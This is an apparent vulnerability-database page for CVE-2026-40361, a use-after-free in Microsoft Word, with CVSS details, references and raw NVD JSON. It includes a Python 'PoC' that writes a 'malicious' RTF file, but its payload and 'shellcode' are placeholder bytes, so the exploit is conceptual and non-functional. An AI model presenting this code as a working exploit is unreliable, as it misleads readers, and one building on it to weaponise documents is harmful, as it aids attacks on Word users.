CVE-2026-40361

Description

Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score

8.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Microsoft Office Word（具体版本未在描述中指定，建议参考官方通告）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# This is a conceptual PoC generator for a Word Use-After-Free vulnerability
import struct

def generate_malicious_rtf(filename):
    # Basic RTF header
    rtf_header = b"{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033"
    
    # Conceptual payload to trigger memory corruption
    # In a real scenario, this would involve specific object manipulation
    # to cause the Use-After-Free condition.
    payload = b"{" \
              b"\\*\\objdata " \
              b"0105000000000000" \
              b"AAAAAAAAAAAAAAAA" \
              b"}"
    
    # Shellcode placeholder (NOP sled)
    shellcode = b"\\" + b"A" * 100
    
    rtf_content = rtf_header + payload + shellcode + b"}"
    
    with open(filename, 'wb') as f:
        f.write(rtf_content)
    print(f"[+] Malicious RTF file generated: {filename}")

if __name__ == "__main__":
    generate_malicious_rtf("cve_2026_40361_poc.rtf")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40361
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40361
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40361/
[4] VulDB https://vuldb.com/cve/CVE-2026-40361
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40361", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:14.950", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361", "source": "[email protected]"}]}}